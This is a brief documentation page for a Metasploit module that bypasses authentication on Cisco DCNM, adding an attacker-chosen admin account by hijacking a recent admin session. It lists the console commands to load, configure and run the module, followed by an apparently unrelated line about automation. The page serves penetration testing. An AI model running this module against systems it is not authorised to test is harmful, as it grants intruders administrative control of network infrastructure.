Description

This exploit is able to add an admin account to a Cisco DCNM with credentials you can choose. After that, you can login to the web interface with those credentials. The only necessary condition is the more or less recent connection of an admin as this exploit uses a kind of session stealing.

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use auxiliary/admin/networking/cisco_dcnm_auth_bypass
msf auxiliary(cisco_dcnm_auth_bypass) > show actions
    ...actions...
msf auxiliary(cisco_dcnm_auth_bypass) > set ACTION < action-name >
msf auxiliary(cisco_dcnm_auth_bypass) > show options
    ...show and set options...
msf auxiliary(cisco_dcnm_auth_bypass) > run 

Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
